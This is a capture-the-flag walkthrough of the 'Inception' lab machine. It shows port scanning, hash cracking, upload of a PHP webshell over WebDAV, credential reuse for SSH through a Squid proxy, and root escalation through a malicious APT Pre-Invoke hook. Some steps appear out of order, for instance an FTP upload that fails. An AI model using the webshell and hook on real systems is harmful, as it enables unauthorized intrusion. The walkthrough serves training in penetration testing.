As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed Apr 26 06:30:22 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.67
Nmap scan report for 10.10.10.67
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3128/tcp open squid-http
# Nmap done at Wed Apr 26 06:30:48 2023 -- 1 IP address (1 host up) scanned in 26.44 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80,3128 10.10.10.67 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Wed Apr 26 06:32:08 2023 as: nmap -sCV -p80,3128 -Pn -n -oN targeted 10.10.10.67
Nmap scan report for 10.10.10.67
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Inception
|_http-server-header: Apache/2.4.18 (Ubuntu)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 26 06:32:25 2023 -- 1 IP address (1 host up) scanned in 16.89 seconds
The website doesn't show anything interesting.
But if we check at the bottom of the source code, we'll see a comment saying something about dompdf.
If we go to /dompdf, we'll see that directory listing is enabled and we'll be able to see some files.
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Location /webdav_test_inception>
Options FollowSymLinks
DAV On
AuthType Basic
AuthName "webdav test credential"
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
Require valid-user
</Location>
</VirtualHost>
There is a /webdav_test_inception subdirectory, and we'll see that it asks for credentials.
Note that there is an authorization file in the Apache2 configuration file. This file contains a hashed password for the webdav_tester user.
Put the hash in the hash file, and try to break it with john.
john -w=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
babygurl69 (webdav_tester)
1g 0:00:00:00 DONE (2023-04-26 10:37) 8.333g/s 187200p/s 187200c/s 187200C/s mario12..130790
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We get the password for the webdav_tester user. If we try to log in with these credentials we'll get a forbidden message.
Let's use davtest to see what permissions we have on the WebDAV server.
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.67/webdav_test_inception
********************************************************
NOTE Random string for this session: KrKtFcN
********************************************************
Creating directory
MKCOL SUCCEED: Created http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN
********************************************************
Sending test files
PUT pl SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.pl
PUT asp SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.asp
PUT cfm SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cfm
PUT cgi SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cgi
PUT php SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
PUT jhtml SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jhtml
PUT aspx SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.aspx
PUT html SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
PUT shtml SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.shtml
PUT jsp SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jsp
PUT txt SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
********************************************************
Checking for test file execution
EXEC pl FAIL
EXEC asp FAIL
EXEC cfm FAIL
EXEC cgi FAIL
EXEC php SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
EXEC php FAIL
EXEC jhtml FAIL
EXEC aspx FAIL
EXEC html SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
EXEC html FAIL
EXEC shtml FAIL
EXEC jsp FAIL
EXEC txt SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
EXEC txt FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.pl
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.asp
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cfm
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cgi
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jhtml
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.aspx
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.shtml
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jsp
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
Executes: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
Executes: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
Executes: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
As we can see, it is possible to upload and execute PHP files. Let's upload a PHP webshell to the server. First, create it.
nano pwn.php
<?php system($_GET["cmd"]);?>
Then upload it using PUT.
curl -s -X PUT http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/pwn.php -d @pwn.php
Now we can run commands using the uploaded webshell.
We won't be able to get a reverse shell because there is a firewall blocking the connections. So we have to enumerate the server using the webshell. If we take a look into the /var/www/html directory, we'll see another one called wordpress_4.8.3.
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
There was also open the 3128 port, which is a Squid Proxy. If we try to access localhost using that proxy, we'll see that port 80 is open.
****** ERROR ******
***** The requested URL could not be retrieved *****
===============================================================================
The following error was encountered while trying to retrieve the URL: /
Invalid URL
Some aspect of the requested URL is incorrect.
Some possible problems are:
* Missing or incorrect access protocol (should be http:// or similar)
* Missing hostname
* Illegal double-escape in the URL-Path
* Illegal character in hostname; underscores are not allowed.
Your cache administrator is webmaster.
===============================================================================
Generated Wed, 26 Apr 2023 10:55:59 GMT by Inception (squid/3.5.12)
But maybe there are other ports open that we can reach using this proxy. Let's use wfuzz to find it out.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://127.0.0.1:FUZZ/
Total requests: 65535
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 200 2 L 4 W 60 Ch "22"
000000080: 200 1051 L 169 W 2877 Ch "80"
000003128: 400 151 L 416 W 3521 Ch "3128"
Port 22 is also open. We could try to log in as cobb using the database password we found earlier. We change the proxychains configuration file.
There is one machine with ports 21,22 and 53 open. Let's try to log in with SSH using the same credentials for cobb.
ssh cobb@192.168.0.1
cobb@192.168.0.1's password: VwPddNh7xMZyDQoByQL4
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Wed Apr 26 09:33:28 2023 from 192.168.0.10
-bash-4.3$ whoami
cobb
-bash-4.3$ hostname -I
10.10.10.67 192.168.0.1 dead:beef::250:56ff:feb9:b4e
Now we have access to the main machine. If we check the cron jobs, we'll see that root is updating the system every 5 minutes.
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
30 23 * * * root apt upgrade -y 2>&1 >/dev/null
If we can create files in /etc/apt/apt.conf.d/ we have a way to become root. Let's create the malicious file with the following payload.
nano pwned
APT::Update::Pre-Invoke {"chmod +s /bin/bash";};
We won't be able to upload the malicious file using FTP.
ftp localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc/apt/apt.conf.d/
250 Directory successfully changed.
ftp> put pwned
local: pwned remote: pwned
200 EPRT command successful. Consider using EPSV.
550 Permission denied.
Now, we need to wait for the cron job to be executed, and the /bin/bash binary will have SUID permissions. We could get a shell as root, and then all we have to do is reap the harvest and take the root flag.
There is one vulnerability that affects this software. We could read local files using the input_file parameter. We will have to base64 decode the output.
Let's use my tool to do host and port discovery in this network. As connections are being blocked by a firewall, we need to base64 encode the script, copy it.